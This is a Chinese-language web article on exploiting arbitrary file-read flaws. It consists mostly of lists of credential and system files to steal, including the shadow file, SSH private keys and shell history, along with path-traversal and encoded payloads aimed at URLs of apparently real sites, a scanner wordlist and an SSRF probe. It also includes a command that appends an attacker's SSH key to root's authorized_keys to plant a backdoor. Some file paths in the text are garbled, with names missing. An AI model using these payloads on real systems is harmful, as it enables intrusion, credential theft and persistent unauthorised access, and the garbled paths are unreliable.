推广 热搜: csgo  vue  2023  angelababy  gps  信用卡  新车  htc  落地  控制 

任意文件读取的深度利用

   2023-08-30 网络整理佚名2370
核心提示:尝试读取敏感文件以获取尽可能多的信息。,ssh相关路径中可能含有大量敏感信息。控制台可读取用户密码/usr/local//conf/-users.xml。可以在本地构造虚拟机,搭建类似的环境,查看默认路径情况。有些文件需要高权限才能读取文件上传/下载相关功能处。注:当参数f的参数值为php文件时,若是文件被解析则是文件包含漏洞,若显示源码或提示下载则是文件查看与下载漏洞扫描器开发参考4.

1.主要思想

尝试读取敏感文件以获取尽可能多的信息。

例如,/etc/issue可以识别Linux主机的发行版。

其中,.,ssh相关路径可能包含大量敏感信息。

如果你得到/etc/,你可以直接使用John The来尝试枚举root密码。

例如,控制台可以读取用户密码/usr/local//conf/-users.xml。

顺便提供了一些在黑盒和白盒状态下挖掘此类漏洞的思路,主要以PHP为例。

1.1 确定系统类型(Linux具体发行版)

uname -a
lsb_release -d
cat /etc/issue
cat /etc/os-release
cat /etc/redhat-release
cat /etc/debian_version
cat /etc/slackware_version
ls /etc/*version
cat /proc/version
cat /proc/cpuinfo

1.2 其他说明(服务器进程权限判断)

可以在本地搭建一个虚拟机,搭建一个类似的环境,检查一下默认路径。

服务器进程权限判断

通过/etc/、/proc/self/cwd可以读取,可以判断进程的权限,可读(root)、不可读(非root)

其他

有些文件需要高权限才能读取

`.bash_history` # 历史中可能带着用户的密码 (遇到过现实案例,是输错的情况下参数的,比如没输入 su 却以为自己输了 su)

/etc/passwd # 用户情况
/etc/shadow # 直接 John the Ripper
/usr/local/tomcat/conf/tomcat-users.xml # tomcat 用户配置文件
/etc/hosts # 主机信息,通常配置了一些内网域名
/root/.bashrc # 环境变量
/root/.bash_history # 还有root外的其他用户
/root/.viminfo # vim 信息
/root/.ssh/id_rsa # 拿私钥直接ssh
/proc/xxxx/cmdline # 进程状态枚举 xxxx 可以为0000-9999 使用burpsuite
数据库 config 文件
web 日志 access.log, error.log
ssh 日志
/var/lib/php/sess_PHPSESSID # 非常规问题 session 文件

# 网络信息
/proc/net/arp
/proc/net/tcp
/proc/net/udp
/proc/net/dev

2. 白盒测试 2.1 简化的常见代码案例

以PHP为例几个关键函数

file_get_content("/etc/passwd")
include("/etc/passwd")
readfile("etc/passwd")

一些例子


$filename =$_GET['f'];
echo file_get_contents($filename);
?>

这个方法会直接下载


$filename =$_GET['f'];
header('Content-Type:image/gif');
header('Content-Disposition:attachment;filename='.$filename);
header('Content-Length:'.filesize($filename));
readfile($filename);
?>

3. 黑盒测试

3.1 黑盒测试的特点

通常出现在文件上传/下载相关的功能中。

从参数名称来看,可能属于以下类型

&RealPath=
&FilePath=
&filepath=
&Path=
&path=
&inputFile=
&url=
&urls=
&Lang=
&dis=
&data=
&readfile=
&filep=
&src=
&menu=
meta-INF
WEB-INF

3.2 判断类型

index.php?f=../../../../../../etc/passwd
index.php?f=../index.php
index.php?f=file:///etc/passwd

注意:当参数f的参数值为php文件时,如果解析到该文件,则说明该文件存在漏洞; 如果显示源代码或提示下载,则表示存在文件查看和下载漏洞

4. 扫描仪开发参考 4.1 参考

http://...:8080/%c0%ae/WEB-INF/classes/com/huilan/application/action/PeopleBankAction.class
# 配合截断规则
/etc/passwd.jpg
../../../../../../../../../../etc/passwd.jpg
http://www.zzvcom.com/cms/interface.jsp?time=41&data={readfile:%27/WEB-INF/classes/jdbc.properties%27}&jsoncallback=jsonp1442909681355
http://localhost:4848/theme/meta-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
http://www.intime.com.cn:8000/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/windows/win.ini
echo ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0jrJeJfEURdpG/jddXzk3zZYxQfdHbgPC4QYh5qx0F2SS1Q+uCW6j2cM/SxqhocfgDYw1CTikNTlJ43tzv1ozpSRjmLH26aTxGDUnXsvyVLeWdrjPni1FoVffW+LM0rZVh7A74Vi1bDr7IP7XjSMQU157rye7++G+eWA1NhscIiiJ/pwUKAjPSiEx+8DXN8ccTDyWrSnD+NfUQXPO4dVFu2MR5/VjLO2yWsVMwenCPwItf5xEwGqU5KbzxeTOyDnYYLk7UF6lBYpSDZC9U3mNL1alYgNnIbmZGYg921KFh28BRptDewh5MRDKmfMUSqeZpIZ95Pq8lG1sObcjNzDew== root@szmlserver95_251.easou.com >> /root/.ssh/authorized_keys

4.2. 词典内容

# defaut

download.php?file=download.php

# index
index/php
../index.php
../../index.php
../../../index.php
../../../../index.php
../../../../../index.php
../../../../../../index.php
../../../../../../../index.php
../../../../../../../../index.php
../../../../../../../../../index.php
../../../../../../../../../../index.php
../../../../../../../../../../../index.php


# system proc
/proc/self/cmdline
/proc/self/stat
/proc/self/status
/proc/self/environ
/proc/verison
/proc/cmdline
/proc/self/cwd
/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/2
/proc/self/fd/3
/proc/self/fd/4
/proc/self/fd/5
/proc/self/fd/6
/proc/self/fd/7
/proc/self/fd/8
/proc/self/fd/9
/proc/self/fd/10
/proc/self/fd/11
/proc/self/fd/12
/proc/self/fd/13
/proc/self/fd/14
/proc/self/fd/15
/proc/self/fd/16
/proc/self/fd/17
/proc/self/fd/18
/proc/self/fd/19
/proc/self/fd/20
/proc/self/fd/21
/proc/self/fd/22
/proc/self/fd/23
/proc/self/fd/24
/proc/self/fd/25
/proc/self/fd/26
/proc/self/fd/27
/proc/self/fd/28
/proc/self/fd/29
/proc/self/fd/30
/proc/self/fd/31
/proc/self/fd/32
/proc/self/fd/33
/proc/self/fd/34
/proc/self/fd/35
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/net/fib_trie
/proc/version

# ssh
/root/.ssh/id_rsa
/root/.ssh/id_rsa.pub
/root/.ssh/authorized_keys
/etc/ssh/sshd_config
/var/log/secure

# network
/etc/sysconfig/network-scripts/ifcfg-eth0
/etc/syscomfig/network-scripts/ifcfg-eth1

# application
/opt/nginx/conf/nginx.conf
/var/www/html/index.html
/root/.mysql_history
/root/.wget-hsts
/etc/my.cnf

# common
/etc/passwd
/etc/shadow
/etc/hosts
/root/.bash_history
/root/.ssh/authorized_keys
/root/.mysql_history
/root/.wget-hsts
/var/www/html/index.html

# protocol
file:///etc/passwd
gopher:///etc/passwd
ftp://

# SSRF 内网探测
url=http://10.29.5.24

# Windows
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\metabase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息

 
反对 0举报 0 收藏 0 打赏 0评论 0
 
更多>同类资讯
推荐图文
推荐资讯
点击排行
网站首页  |  关于我们  |  联系方式  |  使用协议  |  版权隐私  |  网站地图  |  排名推广  |  广告服务  |  积分换礼  |  网站留言  |  RSS订阅  |  违规举报
Powered By DESTOON